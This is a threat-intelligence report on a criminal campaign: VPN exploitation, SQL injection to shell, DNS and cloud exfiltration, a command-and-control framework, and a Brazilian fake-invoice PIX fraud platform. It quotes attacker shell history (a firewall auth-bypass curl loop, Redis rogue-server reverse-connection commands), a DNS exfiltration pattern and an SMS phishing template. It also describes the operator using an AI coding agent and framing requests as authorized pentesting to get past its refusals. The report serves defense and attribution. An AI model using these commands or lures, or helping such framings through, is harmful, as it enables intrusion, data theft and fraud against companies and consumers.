Operation Master: Deconstructing a Multi-Tiered Intrusion and Monetization Pipeline
SOCRadar Threat Research Unit (STRU) has uncovered an end-to-end cybercrime operation dubbed Operation Master, in which a threat actor compromised enterprise networks, stole customer and billing databases, offered portions of the data for sale on underground forums, and later repurposed those exact assets to power an automated, multi-tenant invoice fraud platform.
Operating across multiple countries, the threat actor compromised critical network infrastructure, including VPN gateways via a GlobalProtect authentication bypass (CVE-2026-0257), while concurrently executing advanced web application exploits, deploying the AdaptixC2 framework, and leveraging an AI-assisted development workflow.
Monetization was driven through a dual-tier strategy: initially exfiltrating and liquidating corporate and energy sector databases on a cybercrime forum under a persona, followed by weaponizing those same assets inside a multi-tenant, automated phishing and fraud platform. The threat actor’s infrastructure and multi-tiered monetization pipeline were ultimately exposed following operational security oversights in mid-September 2026.
Operation Master highlights a dangerous convergence in the modern threat landscape: perimeter exploits long associated with cyber espionage and ransomware are now being systematically industrialized to fuel automated, localized financial fraud ecosystems.

Overview of Operation Master
Key Findings
- The threat actor exploited CVE-2026-0257 (GlobalProtect authentication bypass) to establish unauthorized network access across 7 gateways in four countries.
- Reconnaissance operations included 277.5 million address scans across 22 log files to curate a target list of 81 high-value organizations.
- Data theft was confirmed across 9+ database instances, leveraging “xp_cmdshell” to pivot from SQL injection to remote command execution.
- Offline credential artifacts, including SAM, SYSTEM, and SECURITY registry hives alongside an Active Directory database, were exfiltrated.
- The threat actor utilized domainless phishing tactics, such as M365 OAuth device-code phishing and phone-guided vishing, bypassing traditional email gateways.
- Deployed AdaptixC2 as its command-and-control (C2) framework, establishing active control over at least two Windows server identities.
- Data exfiltration relied on dual redundant vectors, combining continuous DNS subdomain tunneling with automated “rclone” cloud synchronization.
- Operated an invoice-fraud engine generating over 2.4 million email/SMS messages and 622,666 personalized links before going offline in mid-September.
- Collected funds via PIX using a serverless proxy structure; receiving-side key material remains unrecoverable from this dataset.
- Tracked a single operator email address “cyberkill2025[@]gmail.com” across five distinct operational contexts and linked it to forum persona “masterblack” via leaked database records.
Infrastructure Overview
During threat-hunting activities, STRU uncovered and systematically traced a network of exposed adversary infrastructure. The investigation originated from a single misconfigured server and ultimately led to the discovery of three distinct generations of hosting infrastructure utilized throughout the operation.
| Step | Finding | Identified Indicators |
|---|---|---|
| 1- Exploitation server | Open directories on two ports, 8088 and 8888 | –85[.]120[.]216[.]8 -GlobalProtect forge-and-exploit chain -22-run masscan corpus -A DNS exfiltration sink -The fraud panel detected live on port 3000 -Inside its own code, the first sighting of the yzs[.]fi domain, hardcoded as the fake-invoice URL in a patch script |
| 2- Workstation backup | The operator’s own cloud storage, reachable from material on the first server | -The AI-agent workspace (36+ automation subagents) -OSINT service accounts registered to the operator’s mailbox (cyberkill2025[@]gmail.com; see Attribution section)-Self-signed “pentest” reports |
| 3- Second operation server | Another open directory, on port 8444, found by following the yzs[.]fi domain through its DNS history | –91[.]92[.]241[.]187 (shifted from 91[.]92[.]241[.]184) -The complete fraud-panel source and live database (622,666 personalized links) -The custom-compiled Adaptix C2 -Multi-tenant platform exfiltration outputs -New attack campaigns |
Where the Master Panel Lived
| Stage | Host | Notes |
|---|---|---|
| Original home | An earlier server (185[.]242[.]3[.]14) named in the operator’s own scripts | Its scripts rewrite a hardcoded address to re-point the app. |
| First identified location | Exploitation server, 85[.]120[.]216[.]8:3000 | Live on September 2: 734,929 email events, 17 campaigns; Node app on port 3000, yzs[.]fi as invoice domain. |
| Moved to | Second operation server, 91[.]92[.]241[.]187 | Found via the yzs[.]fi DNS history; v3 source, live database, new SMS rail here. |
| Current state (September 16, 2026) | Live on yzs[.]fi, the operation’s main domain | The panel runs on yzs[.]fi at the time of observation; artifacts show the backend being actively patched and maintained. |
Operation Timeline
Operation Master ran from April 23 to mid-September 2026, moving from AI-assisted tooling and stolen energy-sector data sales in the spring to GlobalProtect exploitation, AdaptixC2 deployment, and large-scale email and SMS fraud campaigns by September.

Operation Master timeline
Attack Campaigns
The threat actor conducted multiple distinct attack campaigns across the intrusion lifecycle. The following sections break down and detail these campaigns categorized by their respective kill chain phases.
Reconnaissance
Mass Scanning for Palo Alto Gateways
- Continuous Network Scanning: Using masscan, the threat actor ran high-speed sweeps over 22 logged runs, evaluating a cumulative 277,480,448 hosts (peaking at 50,331,648 per pass) across overlapping target ranges.
- Automated Candidate Filtering: A custom classifier script filtered 2,109,111 open-port records (1,506,516 distinct endpoints) to isolate vulnerable, non-SAML version 1 PAN-OS gateways (formatted GW|<ip>|1|), skipping invulnerable SAML and version 2 setups.
- Automated Exploitation Pipeline: An exploit engine monitored real-time classifier logs (fp_br2.log, fp_n3.log, fp_timeout8.log), routing target candidates directly to a 30-worker thread pool.
- Selective Target Curation: Manual review narrowed 1,304 exploited candidate IPs into 122 priority hostnames across 81 target organizations.

Masscan files and logs
SonicWall SMA Campaign
Parallel to GlobalProtect, the latest snapshot indicates an unconfirmed SonicWall SMA VPN campaign using vendor API scripts (sma_api.js), an ffuf wordlist (sma_endpoints.txt), and a four-IP probe across login, VPN, and diagnostic endpoints; despite existing result files, no successful authentication artifacts were recovered.
Parallel Target Lists
Simultaneously, automated workflows probed other vectors: 97 Keycloak targets, 42 Exchange and Next.js-on-IIS endpoints across 11 organizations, 21 ASP.NET SQL injection targets in finance, and 8 internal Fortinet addresses (1 vulnerable). These represent unconfirmed preliminary probing with no evidence of compromise.
Specification & API Reconnaissance
The threat actor collected public developer documentation and software packages, including Brazilian banking API specs (PIX payments, OAuth, account validation, direct debit, fund transfers), an energy sector OpenAPI schema, a 3CX web client bundle, and account-creation packages, to build platform-specific tools. Evidence shows reconnaissance focused on technical documentation rather than active platform compromise.
OSINT & Reconnaissance Tooling: Across all three operational infrastructure phases, the operator consistently reused API keys for external intelligence and reconnaissance services, including Shodan, VirusTotal, SecurityTrails, WPScan, and AlienVault OTX. These platform accounts were all registered to the threat actor’s primary mailbox (cyberkill2025[@]gmail.com).
Initial Access
GlobalProtect Bypass
The operation’s primary at-scale access vector is an authentication-override weakness in Palo Alto Networks GlobalProtect, tracked as CVE-2026-0257: recovered output contains assigned VPN addresses, DNS settings, routes, and IPsec parameters for 7 gateways across four countries. These are working VPN sessions, confirming unauthorized network access.
- Fingerprint: Identify exposed GlobalProtect gateways and software builds
- Forge: Build an authentication-override cookie from the target certificate context
- Submit: Send the forged cookie to the VPN authentication endpoint
- Tunnel: Collect assigned network configuration and routing data
The exploit chain is structurally identical to the public proof-of-concept, sharing its endpoint, plaintext structure, response parsing logic, and padding, yet it introduces operational adjustments. These include a standardized host identifier, masscan execution logs dated three months post-disclosure, and a continuous masscan feed driving a 30-worker loop. The core advancement is its automated industrial scaling rather than novel exploitation mechanics.
Note: Beyond Operation Master, active exploitation of CVE-2026-0257 has been increasingly observed across the threat landscape by extortion and ransomware actors (such as Qilin), highlighting its broad adoption for initial enterprise access.

gp_tunnel_final.py

auto_exploit.py & auto_exploit_results.txt (“COMPROMETIDO” is Portuguese for compromised)
SQL Injection
Parallel to VPN exploitation, the adversary executes automated SQL injection campaigns targeting Brazilian SaaS, CRM, support, education, and financial web applications.
Verified Extraction Outcomes:
- SQLMap Corpus: Includes 123 workspaces, 14 CSV directories, and at least 9 verified compromised systems confirmed via raw database dumps
- Open Finance Infrastructure: 5,000 payment records, identity provider realm configs, 107 user records, and 144 logged client secrets exfiltrated
- Largest Web Application Breach: 15,539 unique entries (including 12,958 user records, wallet details, PII, hashes, and financial credentials) stolen across nine tables
The SQLi-to-Shell Chain
Beyond data theft, this time-based SQLi vector enables privilege escalation: the attacker triggers xp_cmdshell on SQL Server. This executes an obfuscated PowerShell payload that encodes output into DNS subdomains sent to an attacker-controlled sink, converting database access into host execution and a covert command path.

zz_inject.py: SQLi-to-shell
An ASP.NET Campaign
A distinct campaign probes ASP.NET applications via __VIEWSTATE SQL injection, with per-target session-cookie jars. The same technique was prepared for 21 finance/payment organizations in one pass.
SSRF as a Reader: dompdf (CVE-2022-28368)
A secondary vector exploits dompdf (CVE-2022-28368) via SSRF/LFI: the operator fingerprints dependency files for vulnerable versions and renders arbitrary file contents to his server. The recovered data includes 86 server-side files read directly through the PDF engine without requiring a shell.
Webshell Staging
Two minimal JSP command-execution webshells (Linux and Windows variants, plus a Metasploit-generated WAR payload) sit in the toolkit, staged against Tomcat hosts reached after VPN pivoting.
HTTP/2 Request Smuggling
An HTTP/2-cleartext (h2c) request smuggling campaign targeted an Italian energy agency using Content-Length discrepancies. Nine out-of-band callbacks (POST /env, POST /mysql) confirmed internal path enumeration. Associated tools include an h2c diagnostic script, a transfer-encoding obfuscator, a Ruby request generator, and crt.sh subdomain reconnaissance data.
Credential Access
Domainless & Tenant-Targeted Phishing Campaigns
OAuth Device-Code Phishing: Targeted enterprise Microsoft 365 tenants via legitimate authentication endpoints, bypassing custom phishing domains and standard reputation controls.

dc1.py: Device-code phishing

device_code2_out.txt: Phishing output
Staged No-Link Vishing Framework: Used phone-guided credential resets without malicious links in emails or SMS, bypassing automated email gateways.

Vishing template on master panel
When called, the operator (posing as support) convinces the victim to share their itsme verification code. Using this code, the operator hijacks the session to gain unauthorized access to the Belgian digital-ID system. This lure relies solely on a phone number, omitting domains or landing pages.
M365 Pattern Password Spraying: Executed low-and-slow password spraying against M365 environments using localized and seasonal patterns to avoid account lockouts.

m365_spray2.py & m365_REDACTED_results.jsonl
Service Desk Token Brute-Forcing: Brute-forced weak 4-character verification tokens on an internal IT service desk endpoint to hijack active support sessions.
GitLab Dual-Email Password Reset (CVE-2023-7028): Abused CVE-2023-7028 against an energy company’s executive GitLab instances, injecting a secondary attacker email (cyberkill2025[@]gmail.com) to intercept password reset tokens without victim interaction.

round96.py: GitLab password reset script
Unauthenticated Employee Badge Portal Takeover: The adversary leveraged an unauthenticated endpoint to modify target employee email addresses, preceded by mass CPF enumeration.

f02_verify_escalation.py & f01_mass_enum.py
Account-API Invitation Abuse (Japanese HR/People Platform): Scripts systematically analyzed client-side JavaScript to extract the auth-code invitation endpoint, subsequently leveraging it to execute chained password resets and map corporate environments across connected services.
WordPress Login Brute-Force (Japanese Enterprise): Identified targeted credential-stuffing attempts targeting standard authentication interfaces, testing a dictionary matrix of 4 usernames against 66 passwords.
Automated Headless Browsing with CAPTCHA Bypass (Brazilian Pharmacy Chain): Deployed Playwright-driven browser automation integrated with third-party reCAPTCHA-v3 solving services to alter store-selection state logic, successfully advancing through the checkout workflow and extracting live store data.
Post-Exploitation & Lateral Movement
Credential Theft & Password Spraying
Recovered logs show an active shell under a high-privilege SQL Server service identity. The operator extracted base64-encoded SAM, SYSTEM, and SECURITY registry hives from a Windows host for offline cracking. The dataset also contains a valid Active Directory database (ntds.dit) and registry artifacts, though host correlation is needed to map extracted hives to specific source hosts.
The Domain-Escalation Toolkit
- GodPotato: Modern token-impersonation LPE tool, staged as C# source and compiled .NET binary
- Kerberoast / AS-REProast: Script-wrapped Impacket GetUserSPNs/GetNPUsers to harvest crackable AD service-account hashes
- Evil-WinRM: History logs reveal attempts to copy the AD database from a tunneled domain controller, aiming for full domain compromise
- Local Privilege Escalation: PwnKit (CVE-2021-4034), an nf_tables kernel exploit (CVE-2024-1086), and a Tomcat Ghostcat AJP client (CVE-2020-1938)
Movement Commands
.bash_history:
# Firewall auth-bypass probe across internal gateway subnets (CVE-2022-40684 class):
for SUBNET in ; do
HOST="10.80.${SUBNET}.1"
curl -sk "https://${HOST}:64443/api/v2/cmdb/system/admin?access_token=" ...
done | tee /tmp/fortigate_check.txt
# Redis module-load abuse against a reachable Redis instance:
redis-cli -h -p 6380 MODULE LOAD /data/exp.so
python3 redis-rogue-server.py --rhost --rport 6380 --lhost --lport 21000
Executing a rogue-server technique against Redis involves injecting a custom module into the target instance to initiate a reverse connection to an operator-controlled listener.
Movement and Persistence Mechanics
Movement chains use a weak or unauthenticated SQL-facing API to reach xp_cmdshell, then PowerShell Remoting or WMI to adjacent Windows servers; a Ligolo-style reverse tunnel carries internal routing (two internal /24 ranges, one fixed agent token). Persistence is attempted through scheduled tasks with plausible service-like names and a PostgreSQL shell plus socket-install output, although the recorded errors mean durable persistence is not confirmed. On one confirmed-compromise host the operator mapped internal subnets and scanned for vulnerable IP cameras (CVE-2021-36260).
MikroTik Router Compromise via VPN Tunneling
After establishing unauthorized VPN connections, the adversary targeted internal routing within a telecom network. Using a custom RouterOS port scanner, 18 credential variants, subnet sweep logs, and an enumeration script, the attacker escalated from hijacked session cookies to direct router control.
Supply-Chain Pivoting Through Managed Hotspot Infrastructure
To expand reach, the actor forged tenant tokens for a Brazilian Wi-Fi management service. Authenticating as a compromised hotel tenant, they connected to the WebSocket hub to execute arbitrary RouterOS commands across multiple victim tenants. Recovered candidate wordlists reveal brute-force attempts on signing keys to generate these forged tokens.
Data Theft & Exfiltration
To mitigate single-point failure risks, the adversary employs a redundant exfiltration strategy using two concurrent, distinct vectors: an active real-time transfer channel and a pre-configured, single-use exfiltration mechanism.
Rail 1: DNS Tunneling
Every query directed to the operator’s DNS sink is continuously logged. Data leaks via a verified active channel originating from a compromised, cloud-hosted Windows server, which structures exfiltrated information into subdomains using a marker-prefixed pattern:
| <task>.<row>.<chunk>.<base64>.x.<random>.<victim-hostname>
# decoded working-directory fragment, reassembled from chunked queries: # CWD.0.0..x.. → “C:\Windows\system32” |
- Log Volume: A total of 470,268 queries were extracted from a single compromised system
- Operational Markers: Continuous, multi-tasking activity (including FM, FS, DX, DZ, LG, EM, DU, and AC) indicates ongoing actions such as service and user enumeration, directory indexing, scheduled-task inspection, and file reading
- Exfiltrated Assets: Using a custom decoder, the attacker reconstructed exfiltrated data into 24,558 debtor records and SHA1-hashed user passwords. Run via xp_cmdshell under the SQL Server service identity, this extraction targeted a Brazilian energy-billing system. The contact details were then used to build targeting lists for phishing campaigns
Rail 2: Cloud Storage Sync
A single-use script configures rclone to sync data directly to cloud storage without an intermediate server. Key features include:
- Filters for ~140 sensitive file types (credentials, databases, configs, documents)
- A single-keyword alias to trigger full exfiltration
- 8-stream multi-threaded transfers with automated hash verification

setup_mega_exfil.sh: Exfiltration via MEGA
Additionally, a third exfiltration vector was staged: direct SFTP transfers of complete SQL Server database backups to adversary-controlled infrastructure.
Command & Control
Command & Control (C2) Infrastructure: Built from Go 1.22 source code (“make server-ext” in “/opt/AdaptixC2“), the adversary deployed a standard AdaptixC2 framework at “91.92.241[.]187”. The host exposed three listening services: an HTTP listener on port 8443, a TCP “GOPHER_4444” listener on port 4444, and a TLS WebSocket API on port 4321. The actor relied on stock components, including default listeners, a beacon agent, and the base demo agent with no native EDR/AV evasion capabilities. Customization was limited to an automated script (“write_config.py” → “config.go”) that hardcoded C2 IPs and authentication tokens into the Go source prior to compilation.

build_adaptix.sh: AdaptixC2 builder
Gopher Implant Family: Binary-level metadata confirms the stock agent: the compiled beacons carry a module literally named gopher, with a BOF loader (gopher/bof/coffer) and screenshot/memory-download symbols, matching the framework’s demo agent exactly.
- Windows agents: gopher_new.exe, gopher_orig.exe
- Linux agents: agent_fud_raw.elf, .x11d
- Beacon DLLs: beacon.dll, beacon_db01.dll (wmsvc.dll), beacon_db2.dll, svc.dat
- Reflective shellcode: x64 loader containing an embedded PE DLL and two 460-byte reverse shells with distinct listener ports
Evasion loader: The C2 stack’s only custom component, the evasion loader (loader_v2_final.c or “AdaptixC2 FUD Loader v2”), is a C file paired with an AES-encrypted payload (sc_fud_new.bin). It employs standard evasion techniques: AES-128-CBC decryption via hardcoded keys/IVs, AMSI/ETW patching, indirect syscalls, anti-sandbox/debugging mechanisms, process injection, and automated self-deletion.

loader_v2_final.c
Delivery: XOR-wrapped shellcode (keys 0x37 / 0x41) pushed through SQL execution and remote-management channels; PowerShell VirtualAlloc / CreateThread launchers.

deploy_xor.py
Evidence of live use: Log entries (“adaptix_new.log”, September 3) record the initial restoration of 9 agents and 19 distinct targets upon launch, with at least two Windows server identities under active control.
Monetization
The monetization infrastructure relied on a multi-tenant “master-panel” core designed for automated phishing and fraud delivery. This platform processed 622,666 personalized invoice links, tracked 317,696 victim click events, and managed PIX payment routing through a serverless proxy.
Fraud Delivery Architecture:
- Email Delivery: Dispatched 734,929 fake-invoice messages during the first snapshot, followed by an additional 231,261 messages in the second snapshot
- SMS Campaigns: Distributed 621,434 messages utilizing 8 SMPP gateways in the second snapshot
- WhatsApp Distribution: Leveraged Zenvia templates hosting fraudulent invoice PDFs stored on Amazon S3
- Link Tracking & Engagement: Generated 622,666 personalized, click-tracked short links embedding a cumulative invoice value of R$150.4M. Out of these, 169,906 target interactions were recorded, opening R$38.9M worth of fraudulent invoices
- Payment Processing: Routed PIX payments via a dedicated Vercel serverless proxy endpoint (pix-proxy-sable.vercel[.]app)
The operations of this comprehensive fraud engine are detailed further in the dedicated Master Panel section.
Note: All cited monetary values represent attempted and exposed fraud metrics rather than confirmed stolen funds. Since receiving PIX keys are hosted on an isolated server-side proxy, the total cash collected remains unresolvable from the recovered dataset.
“Master Panel” Fraud Infrastructure
The adversary deployed a fake-invoice phishing platform. Controlled via a Node.js web app named “master-panel” at /opt/master-panel/, this specialized CRM automates the creation, distribution, and tracking of fake utility bills targeting Brazilian consumers and corporations. Built as a multi-tenant, SaaS-style application, it includes a dedicated database, campaign scheduler, delivery channels, and payment funnel.
| Component | Detail |
|---|---|
| Frontend | Single-page app painel.html (JS hash-router; views: dashboard, notifications, campaigns, integrations, logs) |
| Backend | Node.js / Express server.js; listens on localhost:3000 |
| API surface | /api/auth, /api/companies, /api/smtp, /api/templates, /api/campaigns, /api/leads, /api/dispatch, /api/config, /api/notifications, /api/health |
| Database | PostgreSQL & SQLite |
| Process manager | PM2, app master-panel |
| Remote management | SMS backend over an encrypted reverse tunnel (gs-netcat) to a dedicated SMS host |
| Fake-invoice host | yzs[.]fi/f/<slug> (operator-controlled) lookalikedomain/ |
| Outbound SMTP relays | – Commercial relay on a third-party Italian domain – A Brazilian corporate M365 mailbox used as sender |
| Exposure | Panel reachable externally on yzs[.]fi (/painel.html) |

Master Panel Dashboard (September 16, 2026)
Impersonation Brands
| Tenant | Lookalike Domain |
|---|---|
| iGreen(igreenenergy.com.br) | igreenfaturas[.]to igreenfaturas[.]com |
| Wattio(wattio.com.br) | wattiofaturas[.]com |
| NUV(nuvenergia.com.br) | nuvfaturas[.]com |
How the Platform Is Built
Multi-tenant model: each configured “company” carries its own lookalike domain, gradient/logo branding, email templates, SMS sender identity, and payment-page copy, allowing the same backend to serve several impersonated utility and identity brands in parallel.

iGreen tenant overview on Master Panel

Payment page settings on Master Panel
The Delivery Rails
Email Delivery (“MS365 Trigger”): Phishing emails route through ~12 compromised M365 mailboxes in retail, healthcare, and education to inherit real sender reputations and pass alignment checks. A relay tier caps daily volume at 10,000 emails per mailbox, limits batches to 28 emails, keeps a single connection per account, and continuously rotates them. Campaign names like “MS3652222” (155,405 sends) and “MS365 4” (75,840 sends) reflect this approach, with pauses occurring when credentials rotate or accounts are remediated.

Email campaign using iGreen brand

MS365 Trigger page
SMS: the SMS rail runs over eight hardcoded bulk-messaging gateway accounts configured directly in the panel’s dispatch code. Spreading traffic across several distinct providers dilutes both volume and detection risk. The message itself follows one recovered template: “iGreen Energy: Ola {{nome}}, sua fatura de energia vence hoje! Acesse: {{link}}” (“Hello {{name}}, your energy bill is due today! Access: {{link}}”), and the link is the five-character short URL igreenfaturas[.]to/r/<code>, exactly as logged in the panel’s own SMS records.

SMS message campaign page
WhatsApp: A WhatsApp Business API script using rented brand identities sent Meta-approved overdue invoice templates linked to attacker-hosted PDFs. Operator logs show tens of thousands of sends with a ~90% rejection rate for non-WhatsApp numbers, highlighting scaled consumer phishing.
The Personalized-Invoice URL Schema
Every generated short link expands to a per-victim invoice URL on the tenant’s lookalike domain. The parameter schema itself, recovered from the panel’s own database and rendered here with the live domain redacted, is a detection goldmine:
| https://<lookalike-tenant-domain>/?ref=<customer-id>&venc=<due-date> &v=<amount-in-cents>&n=<FULL-NAME>&kwh=<consumption>&v0=<original-amount> |
|---|
By embedding the victim’s authentic name, due date, usage, and billing amount in the URL, recipients are tricked into trusting the invoice. Incorporating the original amount parameter (“v0=”) alongside a modified amount (“v=”) indicates added fraud fees, serving as a clear indicator of compromise.

Example Invoice
Scale
| Metric | Second Snapshot (latest) | First Snapshot (earlier snapshot) |
|---|---|---|
| Emails Sent | 2,468,335 (September 16) | 734,929 (17 campaigns, direct observation) |
| SMS Messages sent | 1,487,294 (September 16) 621,434 (September 14) |
– |
| Personalized short links generated | 622,666 (September 14) | – |
| Links with ≥1 click | 169,906 rows (79,753 distinct phone values) (September 14) | – |
| Total click events | 317,696 (September 14) | – |
| Configured tenants | Multiple, each with its own domain, branding, and templates | Fewer, earlier-stage |

SMS campaign logs on panel.db file
Lead Data Sources
Targeting 1.8 million records, an automated scraper exploited an authentication flaw in iGreen Energia‘s and a partner’s APIs, obtaining valid session tokens without password validation to enumerate customer contact details, histories, banking data, and PIX keys (other scripts used an exposed secret key). An initial 155,430 verified entries were fed directly into active phishing workflows.
The Campaign Lifecycle: From Lead to Payment
| Step | What happens | Key factors driving victim trust |
|---|---|---|
| 1- Load leads | Per-tenant CSV uploaded with customer ID, name, mobile, email, due date, amount, and invoice URL | – |
| 2- Skin the brand | Same backend re-skinned per tenant | Sender name, logo and copy match the real utility |
| 3- Dispatch | Hijacked MS365 mailbox pool, eight SMPP gateways, or WhatsApp, with 50,000+/hour observed | Mail inherits real organizations’ reputation; SMS/WhatsApp reuse trusted numbers |
| 4- Short link | lookalikedomain/r/<code> → per-victim invoice page | The bill matches the victim’s own data exactly |
| 5- The lure is a real document | The victim’s genuine invoice PDF, mirrored from a second company’s exposed storage | Both the document and the domain serving it pass every technical check |
| 6- Track the clicks | Every click is logged against the phone that received the link | Per-target conversion data feeds the next campaign. |
| 7- Collect via PIX | The payment page generates a per-victim PIX code through the serverless proxy. | The payment is highly challenging to claw back once sent. |
How Payment Is Collected
Short links embed invoice amounts, leading to customized payment pages that route signed requests to a serverless proxy to generate per-victim PIX codes. Server-side key configuration obscures total cash collected, but database logs reveal R$150.4M attempted across 622,666 links and R$38.9M exposed via clicks. PIX payments settle rapidly, significantly narrowing the window for fraud detection and recovery.
Attribution & Threat Actor Profile
Attribution confidence increases when a unique identifier appears across unlinked operations. The address cyberkill2025[@]gmail.com recurs across four distinct settings, with breach data confirming the registrant:
- Fraud Panel Testing: Found in 34 lead snapshots (customer ID 99999, “Cyber Kill”, operator phone) and replacing a legitimate invoice recipient to validate delivery

1788761014850_leads.csv: Lead snapshot
- Executive Account Takeover: Hardcoded as the attacker’s secondary address in CVE-2023-7028 (GitLab dual-email password-reset flaw, CVSS 10.0) exploits targeting executive leadership
- Reconnaissance Tooling: Registered as the account handle for a commercial internet-scanning API
- Penetration Testing Documentation: A recovered assessment report (“Session 11,” following OWASP/PTES methodology) lists Operador: cyberkill2025[@]gmail.com, originating from the server address that subsequently hosted the operation’s fraud panel
Searching SOCRadar’s Threat Hunting platform for this email address reveals its presence in compromised hacker forum databases. Specifically, a leaked forum user database contains a raw SQL registration record that directly links the masterblack forum identity to cyberkill2025[@]gmail.com. This provides the initial independent validation connecting the email address to an established cybercrime persona.

Operator email in a leaked forum database record

Data-sale listings by masterblack in SOCRadar Threat Hunting
SOCRadar Threat Hunting queries linked the handle “masterblack” to a hacker forum account selling stolen Wattio Energy and iGreen Energy data. These listings predated the fraud panel’s bulk tenant seeding in early September by 14 and 9 weeks. This timeline confirms a two-stage monetization strategy: initial exfiltration and sale of raw databases on forums, followed weeks later by brand-impersonating phishing campaigns targeting the same victims. Thus, the data theft and fraud operations are operationally and commercially linked to a single adversary.

Hacker forum post selling iGreen Energy’s sensitive data

Hacker forum post selling Wattio Energy’s sensitive data
STRU assesses with High Confidence that the threat actor operating under the forum persona masterblack and the primary email address cyberkill2025[@]gmail.com is a principal operator behind the Operation Master. This assessment is based on the multi-context convergence of the email address across forensic workstation backups, commercial OSINT API registrations, victim-testing snapshots, and database-level forum registration leaks.
AI as the Operator’s Co-Developer
This operation illustrates cybercrime co-developed with an AI coding agent acting as a full partner, where the AI’s refusal responses ultimately provided key evidence against the actor.
- Setup: The earliest recovered workstation ran the campaign using an AI agent featuring 36+ offensive subagents, ~48 auto-approved tools, pre-loaded context with operator keys, and ~45 persistent memory files
- Division of Labor: AI developed the intrusion code (exploit drivers, auto-exploit loop, exfiltration scripts), while the operator authored the fraud panel code and compiled custom Adaptix extenders
- Prompts & Refusals: Recovered refusal transcripts show the operator repeatedly framing offensive development requests as authorized bug bounty or penetration testing activity while requesting functionality consistent with activity observed elsewhere in the operation
- Continued Workflow: Later snapshots show the operator adopting a second open-source AI agent alongside victim-side tactics, including AI-API key harvesting and abusing facial-recognition APIs for data relay

Claude files
Victimology & Targeting
Victims are grouped into three categories by campaign impact: Targeted (scanned/probed), Compromised (breached), and Data Stolen (recovered exfiltrated records).

Victimology Charts
| Class | Companies |
|---|---|
| Scanned | 81-org VPN list, 123 SQLMap workspaces, 21 finance orgs, tenant sprays, 277.5M scan attempts |
| Compromised | 21 organizations (7 VPN victims, billing platform, SaaS host, service desk, session-captured hosts, 3 mailbox institutions, badge portal, e-commerce IT provider, SSRF+webshell victim, telco support API, EC2 monitoring host, Redis host) |
| Data stolen | 600+ companies |
| Campaign | Compromised | Data stolen |
|---|---|---|
| GlobalProtect VPN (CVE-2026-0257) | 7 gateways, 4 countries | one live C2 callback |
| SQL injection | ≥9 systems, plus a full billing-database pull (24,558 debtor rows) | 10 confirmed DB dumps |
| Credential harvesting & identity | Captured sessions: monitoring platform, Plesk host, energy telemetry portal, retail VDI; active badge-portal ATO (86,000+ enumeration attempts) | Employee records with tax IDs; a 2,090-user Slack workspace dump (11 admins and 8 owners, none with 2FA) |
| Post-exploitation data theft | One multi-tenant SaaS host, fully exfiltrated byte-by-byte (password file, admin table, CI/DB configs) | 38,000+ users with plaintext passwords across 8 tenant brands |
| The fraud platform | 12 hijacked institutional mailboxes | 155,430-record lead library, 18,715 consumer records |
Compromised Organizations
| Country | Organizations |
|---|---|
| Brazil | 16 |
| United States | 1 |
| El Salvador | 1 |
| Guatemala | 1 |
| Costa Rica | 1 |
| Unattributed | 2 |
Data Stolen Companies
| Country | Companies |
|---|---|
| Brazil | ~593 |
| Spain | 5 |
| United States/France | 4 |
| United Kingdom/Norway/Canada | 3 |
| Netherlands | 2 |
| Argentina/Mexico/Belgium/Qatar | 1 |
| Unattributed | ~4 |
| Sector | Companies |
|---|---|
| Energy & utilities | 420 |
| Metals & mining | 45 |
| Oil, gas & chemicals | 20 |
| Construction & real estate | 9 |
| Technology & SaaS | 7 |
| Education & health | 4 |
| Retail, industry & other | 123 |
Recommendations
- Apply hotfix updates and validate internet-facing remote-access devices: Equipment may appear fully updated while remaining susceptible to exploitation; deactivate non-essential authentication conveniences, such as cookie-based re-authentication and authentication bypass features, across non-critical operational environments
- Restrict database command execution: Turn off command-execution stored procedures across database identities reachable via the internet, while tracking service accounts for unexpected shell spawning or anomalous file interactions
- Review OAuth device-code grants: Turn off this protocol where unnecessary and raise alerts for authorizations lacking corresponding enrollment, since multi-factor authentication does not stop this vector
- Protect credential stores and egress: Alert on unusual access to OS credential-store files by service identities, on high-entropy DNS query patterns to unknown resolvers, and on consumer cloud-sync clients appearing on servers
- Raise consumer awareness for instant-payment fraud: Establish a default policy classifying unsolicited invoice communications with instant-payment mechanisms (e.g., PIX) as fraudulent, explicitly informing users of the non-reversible nature of these transfers
Detection & Monitoring
Security teams should implement telemetry alerts for the following adversary TTPs:
- Edge Access: Anomalous GlobalProtect authentication and session behavior
- Host Execution: Database processes (“sqlservr.exe”) spawning command interpreters (“cmd.exe” / “PowerShell”)
- Exfiltration: High-entropy DNS queries from database identities and execution of “rclone” or unauthorized cloud-sync tools on servers
- Identity Compromise: Unusual M365 OAuth device-code grants and institutional mailboxes initiating bulk external mail dispatches
- Credential Access: Unauthorized access targeting local registry hives (“SAM”, “SYSTEM”, “SECURITY”) or “ntds.dit”
- C2 Artifacts: Presence of custom Adaptix/Gopher framework binaries
- Fraud Infrastructure: Lookalike domain registrations and specific phishing URL parameter schemas (“?ref=”, “&venc=”, “&v0=”)
Conclusion
Operation Master marks a dangerous convergence of enterprise-grade network intrusions with automated, industrial-scale consumer fraud. The adversary repurposed perimeter access points typically associated with cyber espionage or ransomware to feed an automated, multi-tenant utility fraud ecosystem.
The observed infrastructure became unavailable in mid-September following multiple operational security exposures, though the evidence does not establish whether the broader operation ceased or migrated elsewhere. Organizations must assume that perimeter breaches will be leveraged immediately for financial monetization, leaving little room for manual triage. Rapid patching, strict identity governance, and proactive threat hunting are critical, and this is where SOCRadar Agentic Threat Intelligence helps, putting autonomous AI agents on that gap to track threats, assess context, and trigger the right response so analysts stay ahead of activity moving at machine speed.
Appendix
Toolkit Inventory
Toolchain by Phase
| Phase | Primary tools | Role |
|---|---|---|
| Workstation (Apr-Jun 2026) | masscan, nuclei, sqlmap, hashcat, ffuf, wpscan, OpenVPN tooling, OSINT service APIs | Manual reconnaissance and credential hunting; AI-agent-assisted script development. |
| Exploitation server (Aug-Sep 2026) | GlobalProtect forge + auto-exploit loop, DNS sink and decoder, JSP webshells, dompdf SSRF kit, rclone/MEGA setup, panel v2 | At-scale VPN exploitation, DNS exfiltration, first fraud platform. |
| Latest operation server (Sep 2026) | Custom Adaptix build (agent + TCP listener), XOR deploy tooling, SQL-movement chains, panel v3 with SMS rail, device-code phishing kits, GitLab file-read PoC | Full intrusion + fraud convergence on one host. |
Critical Operator Tooling: Scripts and Binaries
| Tool | Kind | What it does |
|---|---|---|
| gp_tunnel_final.py | Script | GlobalProtect auth-cookie forgery + full Layer-3 VPN tunnel (CVE-2026-0257) |
| auto_exploit.py | Script | 30-thread unattended exploit loop tailing the scan classifier live |
